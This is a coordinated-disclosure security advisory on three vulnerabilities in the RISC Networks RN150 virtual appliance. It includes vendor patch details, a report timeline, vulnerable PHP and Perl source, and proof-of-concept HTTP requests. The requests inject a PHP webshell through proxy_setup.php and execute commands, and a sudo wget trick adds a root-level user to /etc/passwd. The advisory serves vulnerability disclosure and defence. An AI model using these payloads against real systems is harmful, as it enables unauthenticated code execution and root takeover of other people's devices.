Skip to content

Latest commit

 

History

History
327 lines (258 loc) · 11 KB

ATREDIS-2019-0003.md

File metadata and controls

327 lines (258 loc) · 11 KB

RISC Networks RN150 - Multiple Vulnerabilities

Vendors

RISC Networks (now Flexera)

Affected Products

RISC Networks RN150 (Revision 27 2017-08-03)

Summary

The RISC Networks RN150, a virtual appliance deployed for asset discovery and validation, is vulnerable to multiple critical and high severity issues. These issues can allow an unauthenticated attacker to execute arbitrary code on the device, perform SQL queries against the backend database, and escalate their privileges to root. The specific issues are highlighted below.

  • Unauthenticated Arbitrary File Write
  • Unauthenticated SQL Injection
  • Privilege Escalation

Mitigation

  • RISC Networks pushed RN150 Image Version 40 on 2019-09-05 to all appliances connected to their NOC. Any customers concerned about not having received the patch can open a ticket at [email protected] to confirm the status of their appliance. Atredis Partners has not validated the changes in Image Version 40.

Credit

These issues were found by Justin Kennedy of Atredis Partners

References

  • CVE-2019-18787
  • CVE-2019-18788
  • CVE-2019-18789

Report Timeline

  • 2019-08-09: Atredis Partners provides a copy of this advisory to the Flexera PSIRT team
  • 2019-09-05: RISC Networks deploys a patch to all NOC-connected RN150 devices in Image Version 40.
  • 2019-09-23: Atredis Partners provides a copy of this advisory to the CERT/CC team (VU#403901)
  • 2019-11-06: Atredis Partners publishes this advisory

Technical Details

Unauthenticated Arbitrary File Write (CVE-2019-18787)

The RISC Networks RN150 allows an unauthenticated user to make requests to the proxy_setup.php file which is used for enabling, disabling, and configuring system-wide proxy settings for the appliance. This allows an unauthenticated attacker to write to the filesystem and gain arbitrary code execution.

<?php
    require_once 'util.php'; 

    $operation = 'modify';
    if (isset($_POST['operation']) and ($_POST['operation'] != "")) {
        $operation = $_POST['operation'];
    }
    
    // if we are passed a form where ipaddress is not populated, interpret this as a removal operation
    if ((isset($_POST['address'])) and ($_POST['address'] == "")) {
        $operation = 'disable';
    }
<snip>
        $cred = array(
            "address"   => $_POST['address'],
            "httpport"  => $_POST['httpport'],
            "httpsport" => $_POST['httpsport'],
            "authenticate"  => $authenticate,
            "ntlm"      => $ntlm,
            "username"  => $username,
            "password"  => $password,
            "enabled"   => 1
        );

        if ($operation == 'enable') {
            $result = enableProxy($cred);
        }

The source above takes in an address, an httpport, and an httpsport. If the $operation variable is set to enable it then passes the proxy configuration values to the enableProxy function located in the util.php file:

function enableProxy($cred) {
    if (!isset($cred['username']) or ($cred['username'] == '')) {
        $cred['username'] = null;
    }
    if (!isset($cred['password']) or ($cred['password'] == '')) {
        $cred['password'] = null;
    }
    $query = "insert into proxy (address,httpport,httpsport,authenticate,ntlm,username,password,enabled) values (?,?,?,?,?,?,?,?)";
    $conn = connectDB2();
    $stmt = mysqli_prepare($conn,$query);
    mysqli_stmt_bind_param($stmt,"siiiissi",$cred['address'],$cred['httpport'],$cred['httpsport'],$cred['authenticate'],$cred['ntlm'],$cred['username'],$cred['password'],$cred['enabled']);
    mysqli_stmt_execute($stmt);
    $proxyid = mysqli_insert_id($conn);
    mysqli_close($conn);

    $cmd = "sudo ./shell/enableProxy.pl 'enable $proxyid'";
    logAction("enableProxy(): $cmd");
    $res = trim(shell_exec($cmd));
    logAction("enableProxy(): $res");
    return $res;
}

The enableProxy function takes in the proxy configuration values, stores them in the backend database associated with a proxyid, and then calls the external Perl script ./shell/enableProxy.pl passing the $proxyid.

sub enable_proxy {
    my $proxyid = shift;

    my $db = riscUtility::getDBH('risc_discovery',1);
    my $config = $db->selectrow_hashref("select * from proxy where id = $proxyid and enabled = 1");
<snip>
$httpproxy = "http://$config->{'address'}:$config->{'httpport'}";
$httpsproxy = "https://$config->{'address'}:$config->{'httpsport'}";
$HTTPPROXY = $httpproxy;
$HTTPSPROXY = $httpsproxy;

<snip>
## open /etc/riscenvironment for writing, sourced by /etc/profile
my $fh;
open($fh,">>","/etc/riscenvironment");
print $fh "export http_proxy=\"$httpproxy\"\n";
print $fh "export https_proxy=\"$httpsproxy\"\n";
print $fh "export HTTP_PROXY=\"$HTTPPROXY\"\n";
print $fh "export HTTPS_PROXY=\"$HTTPSPROXY\"\n";
print $fh "export HTTPS_PROXY_USERNAME=\"$HTTPSUSER\"\n";
print $fh "export HTTPS_PROXY_PASSWORD=\"$HTTPSPASS\"\n";
close($fh);
## open /etc/environment for writing, used by cron jobs
open($fh,">>","/etc/environment");
print $fh "http_proxy=\"$httpproxy\"\n";
print $fh "https_proxy=\"$httpsproxy\"\n";
print $fh "HTTP_PROXY=\"$HTTPPROXY\"\n";
print $fh "HTTPS_PROXY=\"$HTTPSPROXY\"\n";
print $fh "HTTPS_PROXY_USERNAME=\"$HTTPSUSER\"\n";
print $fh "HTTPS_PROXY_PASSWORD=\"$HTTPSPASS\"\n";
close($fh);
## open /srv/httpd/htdocs/proxy-config.php for writing, used by PHP
open($fh,">>","/srv/httpd/htdocs/proxy-config.php");
print $fh "<?php\n";
print $fh "\tputenv('http_proxy=$httpproxy');\n";
print $fh "\tputenv('https_proxy=$httpsproxy');\n";
close($fh);

The code above from the enableProxy.pl script queries the database for the configuration values associated with the supplied $proxyid and then writes these values to the files /etc/riscenvironment, /etc/environment, and /srv/httpd/htdocs/proxy-config.php. At no point do these values get sanitized, allowing for writing arbitrary content:

Write Webshell:

POST /proxy_setup.php HTTP/1.1
Host: 192.168.0.77
Content-Type: application/x-www-form-urlencoded
Content-Length: 92

operation=enable&address=127.0.0.1');system($_GET["atredis"]);//&httpport=80&httpsport=443

Execute Code:

GET /proxy-config.php?atredis=id HTTP/1.1
Host: 192.168.0.77
Connection: close
Content-Length: 2

Response:

HTTP/1.1 200 OK
Date: Wed, 10 Jul 2019 11:49:27 GMT
Server: Apache
Content-Length: 96
Connection: close
Content-Type: text/html; charset=UTF-8

uid=48(apache) gid=48(apache) groups=48(apache)
uid=48(apache) gid=48(apache) groups=48(apache)

The webshell can be removed by calling proxy_setup.php with the operation value set to disable.

Remove proxy-config.php file:

POST /proxy_setup.php HTTP/1.1
Host: 192.168.0.77
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

operation=disable

Response:

HTTP/1.1 200 OK
Date: Wed, 10 Jul 2019 11:53:09 GMT
Server: Apache
Set-Cookie: PHPSESSID=v9crifccdg6vl0u306gv1okcd0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 40
Connection: close
Content-Type: text/html; charset=UTF-8

Successfully removed proxy configuration

The file write to /etc/riscenvironment can also be used to gain remote access when a user logs into the appliance because the /etc/profile file contains the following:

if [ -e /etc/riscenvironment ];then
        source /etc/riscenvironment
fi

Unauthenticated SQL Injection (CVE-2019-18788)

The RISC Networks RN150 allows an unauthenticated user to make requests to the dashboardconfirm.php file. This allows for an unauthenticated attacker to perform arbitrary SQL queries on the backend MySQL database.

<?php
    session_start();
    require_once 'util.php';
    foreach($_GET as $key=>$val){
        urldecode($val);
    }
    clean_post_input($_GET);
//  print $_GET['applianceStatus'];
    
    if (isset($_GET['inventory'])) {
        setUpdatingInventory($_GET['inventory']);
        exit;
    }

The code above shows that the inventory parameter is processed via a GET request to the appliance. The value of all GET requests are passed through the clean_post_input function which can be found in util.php:

/*
 * takes an array of values(such as post array) and cleans each value
 *
 * @param array $post
 *
 * @return array clean $post
 */
function clean_post_input($post){
    foreach ($post as $key => $val){
        //urldecode(clean_input($val));
        clean_input($val);
    }
    return $post;
}

This function runs each parameter value through the clean_input function also found in util.php:

 * Clean Input to prevent xss
 *
 * @param string $input
 *
 * @return string clean $input
*/
function clean_input($input) {
    $input = htmlspecialchars($input, ENT_COMPAT, "UTF-8");
    $input = str_ireplace("&amp;", "&", $input);
    return $input;
}

The clean_input function above runs the values through the built-in PHP function htmlspecialchars; however, this function does not guard against SQL injection attacks.

Going back to the code in dashboardconfirm.php, $_GET["inventory"] is passed to setUpdatingInventory which can be found in util.php:

 function setUpdatingInventory($iStatus) {
    $query = "update discotype set status = $iStatus";
    $conn = connectDB2();
    $result = mysqli_query($conn, $query);
    if(!$result)  {
        risc_debugger();
        risc_db_issue_reporting($conn,'discotype');
    }
    mysqli_close($conn);
}

The code above shows that the input passed to the setUpdatingInventory function is used directly without sanitization in the SQL query, resulting in a SQL injection vulnerability.

Privilege Escalation via Insecure sudo Rules (CVE-2019-18789)

The RISC Networks RN150 uses the following sudo rules for the apache user, allowing for privilege escalation from the apache user to the root user.

User apache may run the following commands on this host:
    (root) NOPASSWD: /sbin/dhclient, (root) /sbin/ifconfig, (root) /sbin/ip,
    (root) /sbin/ethtool, (root) /usr/bin/wget, (root) /sbin/arp, (root)
    /bin/traceroute, (root) /sbin/service, (root) /usr/bin/gpg, (root)
    /srv/httpd/htdocs/shell/testsyncnode.pl, (root)
    /srv/httpd/htdocs/shell/connectToPod.pl, (root)
    /srv/httpd/htdocs/shell/setPort.pl, (root)
    /srv/httpd/htdocs/shell/advDebugging.pl, (root)
    /srv/httpd/htdocs/shell/testGenSrvSSH.pl, (root)
    /srv/httpd/htdocs/shell/setKeyPermissions.sh, (root)
    /srv/httpd/htdocs/shell/enableProxy.pl, (root)
    /srv/httpd/htdocs/shell/remap-newassessment.pl

The /usr/bin/wget command when run in a privileged context can be used to overwrite files using the --output-document (-O) argument that can result in privilege escalation. One such method is to overwrite the /etc/passwd file with a modified version that includes a new user with uid and gid set to 0:

atredis::0:0::/root:/bin/bash

Once written, the apache user can then su to the newly created user:

bash-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-4.1$ su atredis
[email protected]:[/srv/httpd/htdocs]:$